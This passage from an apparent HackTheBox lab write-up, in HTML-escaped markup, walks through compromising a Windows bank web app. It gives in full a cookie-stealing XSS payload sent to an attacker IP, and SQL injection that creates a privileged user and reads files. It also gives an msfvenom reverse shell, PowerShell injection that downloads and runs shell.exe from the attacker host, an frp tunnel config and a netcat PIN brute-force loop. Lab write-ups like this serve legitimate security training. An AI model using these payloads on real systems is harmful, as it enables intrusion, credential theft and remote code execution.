class="line"&gt;&lt;span class="cl"&gt;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/3.js&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/4.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;None of them worked. The hint made it sound like this was the right approach, though. I went through a lot of other things afterward: nearly every directory found through brute-forcing returned a 403 for insufficient privileges, 3306 also required local access, and SMB had no anonymous login. I was completely stuck at this point.&lt;/p&gt;&#10;&lt;p&gt;One more possibility was that the HTTPS and HTTP sites might contain slightly different things, so I checked that next.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, they were basically identical apart from SSL.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck here, so I glanced at a writeup and finally saw what was wrong.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0139.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I hadn&amp;rsquo;t paid close attention to the parameters here.&lt;/p&gt;&#10;&lt;p&gt;First, the amount has to be less than the 900 I currently have. It can&amp;rsquo;t be greater than 900.&lt;/p&gt;&#10;&lt;p&gt;Second, the specified ID: 1 definitely exists, but whether any of the others exist has to be determined by brute-forcing the id parameter in the cookie. Using 1 here is definitely fine.&lt;/p&gt;&#10;&lt;p&gt;The third parameter is the actual XSS.&lt;/p&gt;&#10;&lt;p&gt;You can also remove the number restriction on the second parameter from the frontend, and using an email address works too. All four payloads above work perfectly fine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0140.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0141.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a working payload online.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0142.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt;newImage().src=&amp;#34;http://10.10.16.29:33333/cookie1.php?cookie=&amp;#34;%2bdocument.cookie;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I got a callback.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0143.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username=admin; password=Hopelessromantic; id=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0144.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are two endpoints in the admin panel: one queries information, and the other executes commands. The second one screams command injection.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0145.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It wouldn&amp;rsquo;t let me use it, though. It said it was only available locally, and adding xff didn&amp;rsquo;t help either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0146.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While querying it, I found a possible SQL injection.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0147.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;String-based SQL injection.&lt;/p&gt;&#10;&lt;p&gt;At this point, we know we can&amp;rsquo;t access mysql, though of course that depends on the specific privilege settings and we may be able to read it later. We also know that xmapp was moved to the TODO directory. Once we check the permissions, we may be able to write a shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39; UNION SELECT 1,2,3 --+&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Found the reflected column.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0148.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Current account:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0149.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;secure_file_priv is empty, which means we can write arbitrary files, but we still need the absolute path.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39; UNION SELECT 1,@@global.secure_file_priv,3 --+&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0150.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, I didn&amp;rsquo;t even bother checking whether the account could log in remotely, because we could already write a shell. If the target only exposed mysql, we might need UDF privilege escalation, but it also has a PHP site, so I planned to write a shell instead. For now, I needed the absolute path.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39;;create user &amp;#39;test&amp;#39;@&amp;#39;localhost&amp;#39; identified by &amp;#39;123456&amp;#39;;--+&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39;;grant all privileges on *.* to &amp;#39;test&amp;#39;@&amp;#39;%&amp;#39; identified by &amp;#39;123456&amp;#39; with grant option;--+&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0151.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully, with administrator privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0152.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The permissions look fine, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0153.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0154.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The database path is:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0155.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the hint, replacing xampp with TODO should do the trick.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0156.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried reading files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;create table test(cmd text);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;insert into test(cmd) values (load_file(&amp;#39;C:\TODO\htdocs\notes.txt&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:\Windows\my.ini&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After trying for a long time, I finally found what looked like the web root and attempted to read from it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:/xampp/htdocs/user/transfer.php&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0157.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could read it, which meant the file existed. But when I used:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:/TODO/htdocs/user/transfer.php&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:/TODO/user/transfer.php&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Neither path worked. I tried writing a file under xampp first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0158.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t have enough privileges, so I was stuck again. At this point, all I really had were file read and write privileges.&lt;/p&gt;&#10;&lt;p&gt;UDF privilege escalation was also unavailable. You can&amp;rsquo;t escalate when the plugin value is empty. MaridaDB is a fork of mysql, but I couldn&amp;rsquo;t find anything useful about mariadb no matter how much I searched.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0159.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was a dead end. The remaining options were auditing the PHP code or reading root&amp;rsquo;s password and trying password reuse. SMB was still inaccessible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0160.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started reading the code. First I tried the files in the admin directory, then the ones under user, and finally index.php on the home page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0161.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started with the endpoint that could execute cmd, then moved on to the page with the SQL injection from earlier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0162.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The code is pretty easy to understand, and there&amp;rsquo;s a system function here. I had a strong feeling this was the way in.&lt;/p&gt;&#10;&lt;p&gt;The first restriction requires the username and password to be correct. The second checks that the cmd parameter doesn&amp;rsquo;t contain $( or &amp;amp;, but we can actually bypass that with ||.&lt;/p&gt;&#10;&lt;p&gt;The next check looks at whether the first three characters are dir, but with || that doesn&amp;rsquo;t really matter.&lt;/p&gt;&#10;&lt;p&gt;The main problem is the third check: $_SERVER[&amp;lsquo;REMOTE_ADDR&amp;rsquo;] requires a local request. None of the methods I found could bypass it; the only option seemed to be using a proxy to change the IP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0163.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still no luck.&lt;/p&gt;&#10;&lt;p&gt;Since I couldn&amp;rsquo;t bypass it directly, I followed that thread: maybe I needed to find an SSRF or build a tunnel.&lt;/p&gt;&#10;&lt;p&gt;There was nothing useful in search either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0164.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back over everything and noticed this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0165.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, there was never a directory that needed to be moved. It was just a hint that the xampp directory existed. I was completely, utterly stuck here with no ideas at all. I couldn&amp;rsquo;t build a tunnel through mysql, and I had no username or password for SMB.&lt;/p&gt;&#10;&lt;p&gt;Then I glanced at a writeup and realized I&amp;rsquo;d completely forgotten that the XSS was triggered locally by the administrator. That meant it could trigger SSRF.&lt;/p&gt;&#10;&lt;p&gt;We know files can be written under C:/xampp/, so I built the payload.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.29 LPORT=6666&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var httpRequest = new XMLHttpRequest();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.open(&amp;#39;POST&amp;#39;, &amp;#39;http://localhost/admin/backdoorchecker.php&amp;#39;, true);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.setRequestHeader(&amp;#34;Content-type&amp;#34;,&amp;#34;application/x-www-form-urlencoded&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.setRequestHeader(&amp;#34;Cookie&amp;#34;,&amp;#34;id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.send(&amp;#39;cmd=dir | powershell -c &amp;#34;Invoke-RestMethod -Uri http://10.10.16.29:33333/shell.exe&amp;#34; -OutFile C:/xampp/shell.exe;start C:/xampp/shell.exe&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Triggering it once more worked. I was stuck here for quite a while too, again because I missed a detail. After staring at it forever, I finally noticed that I&amp;rsquo;d been using &lt;a class="link" href="http://localhost/admin/backdoorchecker.php" target="_blank" rel="noopener"&#10; &gt;http://localhost/&lt;/a&gt; as the URL without adding &lt;a class="link" href="http://localhost/admin/backdoorchecker.php" target="_blank" rel="noopener"&#10; &gt;/admin/backdoorchecker.php&lt;/a&gt;. And because I had to wait for it to keep making requests before I could work out what was wrong, this held me up for a long time.&lt;/p&gt;&#10;&lt;p&gt;But the result was good.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0166.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I uploaded winPEASany.exe to take a look around.&lt;/p&gt;&#10;&lt;p&gt;All the passwords had been deleted.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0167.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking at the ports, I noticed one for bankv2.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0168.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I decided to build a tunnel and take a look.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_addr = 10.10.16.29&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[mysql]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type = tcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_ip = 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_port = 910&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remote_port = 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bind_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Since I only needed to forward this one port, there was no need to configure a proxy. Setting up the proxy would have been a hassle anyway, so I skipped it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0169.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked, but required a password.&lt;/p&gt;&#10;&lt;p&gt;I wrote a simple script.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i in {0000..9999}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo $i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo $i | nc 127.0.0.1 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0170.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After 0021, it told us the password was correct.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0171.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It calls the transfer.exe tool here, using an absolute path.&lt;/p&gt;&#10;&lt;p&gt;I could think of four approaches. First, if I could swap out this exe, I could get a shell. Second, if it didn&amp;rsquo;t use an absolute path, I could modify the environment variables. Third, perhaps there was a backup or some way to obtain the program and reverse-engineer it—although reversing it wasn&amp;rsquo;t very realistic. If the source code was available, I could audit it for injection. Fourth, I could get a backup and look for a buffer overflow.&lt;/p&gt;&#10;&lt;p&gt;One: I couldn&amp;rsquo;t replace it because I couldn&amp;rsquo;t access that directory.&lt;/p&gt;&#10;&lt;p&gt;Two: it used an absolute path, so there was nothing I could do.&lt;/p&gt;&#10;&lt;p&gt;Three: there was no backup. I used find and only found files such as transfer.php.&lt;/p&gt;&#10;&lt;p&gt;Four: there was no backup, but I could still test it.&lt;/p&gt;&#10;&lt;p&gt;Then, while I was testing for a buffer overflow, something magical happened.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0172.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It looked like entering letters would overwrite it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0173.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, it could be overwritten. I needed to find the exact offset. It looked a bit like a buffer overflow, though clearly it wasn&amp;rsquo;t quite the same 